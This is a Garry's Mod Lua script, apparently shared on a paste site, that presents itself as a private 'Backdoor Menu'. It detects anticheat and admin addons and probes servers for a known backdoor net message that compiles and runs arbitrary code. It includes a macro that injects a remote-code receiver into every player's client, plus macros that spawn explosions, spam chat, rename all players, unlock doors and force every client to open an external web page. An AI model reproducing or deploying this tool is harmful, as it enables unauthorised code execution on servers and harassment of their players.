· 6 years ago · Jun 24, 2019, 04:30 PM
1print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
2
3MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), [[
4
5
6
7 .#@@@@ @
8 `@@@@@@@ ,@
9 @@@@@@@` ;@@
10 @@@@@@@@@# `+@@@@@
11 :@@@@@@'+,;; @@@@@@'@
12 #@@@@@ : ,:@@@@@@`@@
13 #@@@' `;:#@@@@;`,;@
14 @@@ ,; `@@@@ ':@`
15 @@@ #; ,@@@. #@@, 88 Chargé | Menu Privé
16 `@@@@ ,#,. .@@@@@@@@
17 @@@@@@#' @@@@@@@, Tapez 88 Pour Ouvrir Le Menu :D
18 .#@@@. @@@@@@
19 +.#,#@; `@@@@@#
20 ,@++`` `#' +:@@@@@# Enjoy (sauf le serveur)
21 ` .+@@` #: .#@@@ .@@:
22 ,@@@, + ,@@@, @@
23 +#@@ . @@@@' ++ Backdoor Menu
24 @@@` @@@@+ @
25 +@@. :+@@# #
26 @@, @@@#` `: PRIVATE MENU FOR :
27 @@@ @@@@, @
28 ,@@ :@@@, ;@ Zilnix
29 @@ @@@ .@
30 ,@# @@@+ .+; Aiiden
31 @@@ @@@@ :#@
32 @@' ;@@@@ `@@# Supremacist
33 `@@@ :@@@@@@ ,@@#@
34 ;@@@` `'@@#@@'@@@,.:+@@@@@@ Drilen
35 +@@@@@@@@@@+@.+@@@@@@@@@@#@
36 #@@@+@,@#'@#` @@@@@@@@@@@@
37 @@@@@@@@@, @@@@@@@@@@+ YouTube Channel : https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ
38 @@@@@@;, +@@@@@@@@@ Menu made by Zilnix, destiné à des fins commerciales.
39 `,' @@@@@@+.
40
41 ]])
42
43print ("\n")
44
45/*================================
46|===== 88 CHECKERS =====|
47=================================*/
48
49
50if (_G.QAC or _G.CAC) then
51MsgC( Color( 0, 0, 0 ), "[88]", Color( 255, 0, 0 )," Cake Anticheat / Quack Anti Cheat Détecté ! \n" )
52else
53MsgC( Color( 0, 0, 0 ), "[88]", Color( 0, 255, 0 )," Cake Anticheat / Quack-Anti-Cheat Non Détecté ! \n" )
54end
55
56
57if (_G.ulx or _G.ulib) then
58MsgC( Color( 0, 0, 0 ), "[88]", Color( 0, 255, 0 )," Ulx / Ulib Détecté ! \n" )
59else
60MsgC( Color( 0, 0, 0 ), "[88]", Color( 255, 0, 0 )," Ulx / Ulib Non Détecté ! \n" )
61end
62
63
64if (_G.FAdmin) then
65MsgC( Color( 0, 0, 0 ), "[88]", Color( 0, 255, 0 )," DarkRP Détecté ! \n" )
66else
67MsgC( Color( 0, 0, 0 ), "[88]", Color( 255, 0, 0 )," DarkRP Non Détecté ! \n" )
68end
69
70
71if file.Exists("snte_source.lua","LUA") then
72MsgC( Color( 0, 0, 0 ), "[88]", Color( 0, 255, 0 )," SNTE Détecté ! \n" )
73end
74
75
76
77/*=====================================
78|===== 88 BACKDOOR MENU =====|
79======================================*/
80
81
82
83
84
85local BD = {}
86local h = http
87
88
89BD.Backdoors = BD.Backdoors or {}
90
91BD.BackdoorTypes = {
92
93 ["adsp_door_length"] = {
94
95 ["Code"] = "util.AddNetworkString( 'adsp_door_length' ) net.Receive( 'adsp_door_length', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
96
97 ["Netkey"] = "adsp_door_length",
98
99 },
100
101}
102
103local netsss = net.Start
104
105function BD.IsMessagePooled( netmessage )
106
107local netfunc = netsss
108
109local status, error = pcall( netfunc, netmessage )
110
111return status
112
113end
114
115
116
117local net = net
118
119
120
121
122local ctxt = chat.AddText
123
124function BD.ChatText( message, col )
125
126 ctxt( Color(0,0,0,255), "[88] ", col, message )
127
128end
129
130
131
132function BD.PingBackDoors()
133
134 local bds = {}
135
136 for k, v in pairs(BD.BackdoorTypes) do
137
138 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
139
140 end
141
142 return bds
143
144end
145
146concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
147
148
149
150function BD.BackdoorActive()
151
152 return table.Count( BD.Backdoors ) > 0
153
154end
155
156
157
158function BD.GetActive()
159
160 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
161
162 return BD.BackdoorTypes[BD.CurrentBackdoor]
163
164end
165
166
167
168BD.BDMacros ={
169
170
171
172/*===========================================
173|===== Commandes Sur Tout Les Joueurs =====|
174============================================*/
175
176
177
178
179
180 ["Frappe Orbital Aléatoire"] = {
181
182 ["Type"] = 1,
183
184 ["Code"] = [[if !bombstrike then
185
186 hook.Add("Think", "lulz_bombstrike", function()
187
188 local explode = ents.Create( "env_explosion" )
189
190 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
191
192 local trc = {}
193
194 trc.start = ps
195
196 trc.endpos = ps + Vector( 0, 0, -99999)
197
198 local tr = util.TraceLine(trc)
199
200 if !tr.Hit then return end
201
202 explode:SetPos( tr.HitPos )
203
204 explode:Spawn()
205
206 explode:SetKeyValue( "iMagnitude", "400" )
207
208 explode:Fire( "Explode", 0, 0 )
209
210 end)
211
212 bombstrike = true
213
214 else
215
216 hook.Remove("Think", "lulz_bombstrike")
217
218 bombstrike = false
219
220 end]],
221
222 ["Desc"] = "Effectuer Des Frappes Orbital",
223
224 },
225
226
227
228
229
230 [" Injecter Backdoor"] = {
231
232 ["Type"] = 1,
233
234 ["Code"] = [[
235
236 util.AddNetworkString( "88Triggered" )
237
238 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
239
240 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
241
242 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
243
244 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
245
246 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
247
248 ]],
249
250 ["Desc"] = "You need this to use certain macros",
251
252 },
253
254
255
256 ["Annonce Sur L'écran"] = {
257
258 ["Type"] = 1,
259
260 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
261
262 ["Desc"] = "Ecrit un truc au millieu de de l'écran des autres :D",
263
264 ["NeedsParameters"] = 1,
265
266 },
267
268
269
270 ["Spam Chat Multicolore"] = {
271
272 ["Type"] = 1,
273
274 ["Code"] = [[
275
276 if !timer.Exists( "lespamckool" ) then
277
278 timer.Create( "lespamckool", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
279
280 else
281
282 timer.Remove( "lespamckool" )
283
284 end]],
285
286 ["Desc"] = "Spam le chat de manière multicolore, c'est drôle",
287
288 ["NeedsParameters"] = 1,
289
290 },
291
292 ["Changer Le Nom De Tous"] = {
293
294 ["Type"] = 1,
295
296 ["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
297
298 ["Desc"] = "Sa va être drôle :)",
299
300 ["NeedsParameters"] = 1,
301
302 },
303
304
305 ["Violent Spam Chat Multicolore"] = {
306
307 ["Type"] = 1,
308
309 ["Code"] = [[
310
311 if !timer.Exists( "wutckoasa" ) then
312
313 timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
314
315 else
316
317 timer.Remove( "wutckoasa" )
318
319 end]],
320
321 ["Desc"] = "Spam le chat de manière multicolore et très rapidement, c'est très drôle",
322
323 ["NeedsParameters"] = 1,
324
325 },
326
327
328
329 ["Débloquer Les Portes"] = {
330
331 ["Type"] = 1,
332
333 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
334
335 ["Desc"] = "Pas besoin d'expliquer",
336
337 },
338
339
340
341 ["Activer/Desactiver Les Portes"] = {
342
343 ["Type"] = 1,
344
345 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
346
347 ["Desc"] = "Pas besoin d'expliquer",
348
349 },
350
351
352
353 ["Symphony De Verre Cassé"] = {
354
355 ["Type"] = 1,
356
357 ["Code"] = [[
358
359 if !timer.Exists( "A true masterpiece" ) then
360
361 timer.Create( "A true masterpiece", 0.2, 0, function()
362
363 for _, p in pairs(player.GetAll()) do
364
365 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
366
367 end
368
369 end)
370
371 else
372
373 timer.Remove( "A true masterpiece" )
374
375 end]],
376
377 ["Desc"] = "C'est la meilleur symphony qu'on ai vu",
378
379 },
380
381
382
383 ["Yeah Baby"] = {
384
385 ["Type"] = 1,
386
387 ["Code"] = [[
388
389 if !timer.Exists( "porn" ) then
390
391 timer.Create( "porn", 0.3, 0, function()
392
393 for _, p in pairs(player.GetAll()) do
394
395 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
396
397 end
398
399 end)
400
401 else
402
403 timer.Remove( "porn" )
404
405 end]],
406
407 ["Desc"] = "YEAH BABY YEAH",
408
409 },
410
411 ["Bruit D'Impact"] = {
412
413 ["Type"] = 1,
414
415 ["Code"] = [[
416
417 if !timer.Exists( "impakt" ) then
418
419 timer.Create( "impakt", 0.3, 0, function()
420
421 for _, p in pairs(player.GetAll()) do
422
423 p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
424
425 end
426
427 end)
428
429 else
430
431 timer.Remove( "impakt" )
432
433 end]],
434
435 ["Desc"] = "Ca doit faire mal",
436
437 },
438
439 ["Bruit de Cloche"] = {
440
441 ["Type"] = 1,
442
443 ["Code"] = [[
444
445 if !timer.Exists( "pimpon" ) then
446
447 timer.Create( "pimpon", 0.3, 0, function()
448
449 for _, p in pairs(player.GetAll()) do
450
451 p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
452
453 end
454
455 end)
456
457 else
458
459 timer.Remove( "pimpon" )
460
461 end]],
462
463 ["Desc"] = "Qu'est ce qui ce passe bordel",
464
465 },
466
467 ["Guerre Civil"] = {
468
469 ["Type"] = 1,
470
471 ["Code"] = [[
472
473 if !timer.Exists( "cwar" ) then
474
475 timer.Create( "cwar", 1, 0, function()
476
477 for _, p in pairs(player.GetAll()) do
478
479 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
480
481 end
482
483 end)
484
485 else
486
487 timer.Remove( "cwar" )
488
489 end]],
490
491 ["Desc"] = "C'est n'importe quoi dans c'te ville",
492
493 },
494
495
496
497 ["Séisme"] = {
498
499 ["Type"] = 1,
500
501 ["Code"] = [[
502
503 if !timer.Exists( "earthquake" ) then
504
505 timer.Create( "earthquake", 0.5, 500, function()
506
507 for _, p in pairs(player.GetAll()) do
508
509 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
510
511 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
512
513 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
514
515 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
516
517 end
518
519
520
521 for _, e in pairs(ents.GetAll()) do
522
523 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
524
525 end
526
527
528
529
530
531 end)
532
533 else
534
535 timer.Remove( "earthquake" )
536
537 end]],
538
539 ["Desc"] = "WOOOOOOOOOOAW ON EST EN CHINE BORDEL",
540
541 },
542
543
544
545 ["Dominer Le Serveur"] = {
546
547 ["Type"] = 1,
548
549 ["Code"] = [[
550
551 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )') end)
552
553 for k, v in pairs(player.GetAll()) do
554
555 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )')
556
557 end]],
558
559 ["Desc"] = "Prouve que tu domine se serveur :c",
560
561 },
562
563
564
565 ["Exploser Tout Les Véhicules"] = {
566
567 ["Type"] = 1,
568
569 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
570
571 local explo = ents.Create("env_explosion")
572
573 explo:SetPos(v:GetPos())
574
575 explo:SetKeyValue("iMagnitude", "300")
576
577 explo:Spawn()
578
579 explo:Activate()
580
581 explo:Fire("Explode", "", 0)
582
583 end
584
585 end]],
586
